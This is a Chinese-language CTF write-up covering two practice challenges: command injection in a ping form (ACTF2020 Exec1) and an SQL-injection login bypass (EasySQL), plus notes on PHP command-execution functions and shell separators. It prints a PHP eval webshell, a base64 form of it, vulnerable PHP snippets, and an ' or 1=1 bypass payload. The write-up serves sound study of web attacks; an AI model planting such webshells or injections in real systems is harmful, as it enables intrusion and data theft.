[ACTF2020] 新生赛]Exec1

embedded/2024/10/21 23:06:03/

目录

0x01命令执行

CTF2020%20%E6%96%B0%E7%94%9F%E8%B5%9B%5DExec1-toc" style="margin-left:40px;">[ACTF2020 新生赛]Exec1

1、解法1

2、解法2

3、总结

3.1php命令注入函数

3.2java命令注入函数

3.3常见管道符

0x02SQL注入

[极客大挑战 2019]EasySQL1


0x01命令执行

CTF2020%20%E6%96%B0%E7%94%9F%E8%B5%9B%5DExec1" style="background-color:transparent;">[ACTF2020 新生赛]Exec1

image-20241015152430927

image-20241015152544312

1、解法1

ping本地,有回显,TTL=42,应该是修改过的,无法根据此判断系统类型。

分别尝试window和Linux系统命令,判断类型。

image-20241015152655899

查看本级目录

image-20241015153139315

遍历目录,查看上级目录

image-20241015153227934

查看上上级目录

image-20241015153251089

查看上上上级目录(到顶了),发现flag文件名

image-20241015153345926

读它

image-20241015153446128

2、解法2

写入webshell,用蚁剑连接

 直接写入echo '<?php eval($_POST[1]); ?>' > 1.php​base64编码写入echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==" | base64 -d >2.php

写入

image-20241015153738375

验证

image-20241015153811798

连接

image-20241015153953593

image-20241015154019131

image-20241015154032783

3、总结

3.1php命令注入函数

 exec() 、shell_exec() 、system() 、popen() 、 passthru() 、 proc_open() 、反引号`` 

exec:该函数无回显需使用 echo 进行输出,且只返回执行后的最后一行结果

 <?php$sys = $_REQUEST['value'];$cmd = exec($sys);echo $cmd;?>

shell_exec():无回显需使用 echo 或者 var_dump 进行输出,但返回结果所有内容

 <?php$sys = $_REQUEST['value'];$cmd = shell_exec($sys);var_dump( $cmd);?>

反引号`` :反引号其实调用的是shell_exec()函数,当反引号中的变量可控时就会造成命令执行,且无回显。

 <?php$sys = $_REQUEST['value'];$cmd = `$sys`;echo $cmd;?>

system():有回显且返回所有内容。最常见的命令执行方式。如果目标是LInux则执行 Bash 命令,如果是Windows则执行 cmd 命令。

 //简单例子<?php$sys = $_REQUEST['value'];$cmd = system($sys);?>

在ACTF2020新生赛Exec1该题中,后端逻辑为:

 <?php if (isset($_POST['target'])) {system("ping -c 3 ".$_POST['target']);}?>

popen(comnand,mode):该函数通常用于打开进程文件指针,但如果传入的参数可控也可造成命令执行,且该函数无回显,通过echo 不回直接返回执行的结果,而是返回的是文件指针。

 <?php$sys = $_REQUEST['value'];$cmd = popen($sys,'r');var_dump($cmd); ;?>

passthru():与 system() 类似,也可将输入的参数当做命令执行,且函数执行后有回显。

<?php
$sys = $_REQUEST['value'];
$cmd = passthru($sys);
?>

proc_open():执行一个命令,并且打开用来输入/输出的文件指针。 类似 popen() 函数,

3.2java命令注入函数

java.lang.Runtime、
ava.lang.ProcessBuilder、
java.lang.UNIXProcess/ProcessImpl

3.3常见管道符

windows

| 直接执行后面的语句
|| 如果前面执行的语句出错,那么才执行后面的语句
& 前面和后面的语句都会被执行
&& 前面语句出错后面的语句也不执行,只有前面的语句成功执行才执行后面的语句

linux

| 直接执行后面的语句
|| 如果前面执行的语句出错,那么才执行后面的语句
& 前面和后面的语句都会被执行
&& 前面语句出错后面的语句也不执行,只有前面的语句成功执行才执行后面的语句
; 前面的语句执行完成后,继续执行后面的语句。(特有)

0x02SQL注入

[极客大挑战 2019]EasySQL1

image-20241017094808447

image-20241017094719287

发现是登录界面,根据题目描述的提示,判断是SQL注入

随意输入用户名和密码,用hackbar LoadURL

image-20241017095042630

构造payload查看错误提示

/check.php?username=admin'aa--&password=1111
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'aa--' and password='1111'' at line 1

image-20241017095617738

根据提示可以分析出的信息有:

1、数据库:MariaDB
2、SQL后端逻辑:username='$username' and password='$password'

既然是登录框,那肯定是要登录上去看看的

/check.php?username=admin' or 1=1 --+&password='--+

image-20241017100036382

发现flag


http://www.ppmy.cn/embedded/129387.html

相关文章

C++ 修饰符

1、explicit 关键字&#xff0c;用于修饰构造函数&#xff0c;防止构造函数隐式转换&#xff0c;用于增强代码明确性&#xff0c;提高代码可读性。 缺点&#xff1a;由于explicit关键字阻止了构造函数隐式转换&#xff0c;所以需要额外代码进行类型转换。 class MyClass { pu…

C07.L10.STL之队列

大家好&#xff0c;我是AC使者。 一、队列的介绍 队列是一种操作&#xff08;或者说运算&#xff09;受到限制的特殊线性表。其插入操作限定在表的一端进行&#xff0c;称为入队&#xff1b;其删除操作则限定在表的另一端进行&#xff0c;称为出队。插入一端称为队尾&#xf…

再Android10上实现检测AHD摄像头是否接入

项目有个需要&#xff0c;需要知道tp9951是否接入AHD摄像头 1&#xff0c;驱动层可以通过读取寄存器的值来检测是否接入AHD摄像头 tp9951_write_reg(0x40, 0x00); //select decoder page tp9951_write_reg(0x41, ch); val tp9951_read_reg(TP_INPUT_STATUS_REG);…

React开发一个WebSocket

export default class SocketService {static instance null;static get Instance() {if (!this.instance) {this.instance new SocketService();}return this.instance;}// 和服务端连接的socket对象ws null;// 存储回调函数callBackMapping {};// 标识是否连接成功connec…

ITSS服务项目经理的的认证价值

ITSS 个人认证足以印证持证者拥有 IT 服务从业的基础能力。获取 ITSS 认证对于个人及企业于 IT 服务领域的发展具备关键意义。以下为 ITSS 认证的作用所体现的若干方面&#xff1a; &#xff08;1&#xff09;能力认证&#xff1a;其乃是一套客观且量化的准则&#xff0c;用以…

下载Edge/Chrome浏览器主题的背景图片

当我们为Edge安装了心仪的主题后&#xff0c;希望把对应的背景图片下载保存要怎么做呢&#xff0c;以下图的“湖心小屋”主题为例。如下图&#xff0c;我们已经在应用商店中按照了该主题。 当打开新标签页后&#xff0c;可以欣赏这个主题内置的背景图片。 如果想要下载这个背景…

Jmeter学习深入

Jmeter学习深入 一、jmeter接口关联 提取器: 。 CS5:给网页使用 。JSON:给JSON数据使用 。 边界:给字符串使用 。正则:更加高级的字符使用 。XPath:给网页使用 必须掌握: JSON边界 JSON 正则 1.边界提取器 给定两边取中间 2.正则提取器 正则:强大并且复杂 通过指定正则表…

10 django管理系统 - 管理员管理 - 新建管理员(通过模态框和ajax实现)

在文章“04 django管理系统 - 部门管理 - 新增部门”中&#xff0c;我们通过传统的新增页面来实现部门的添加。 在本文中&#xff0c;我们通过模态框和ajax来实现管理员的新增。 首先在admin_list.html中新建入口&#xff0c;使用按钮 <div class"panel-heading&quo…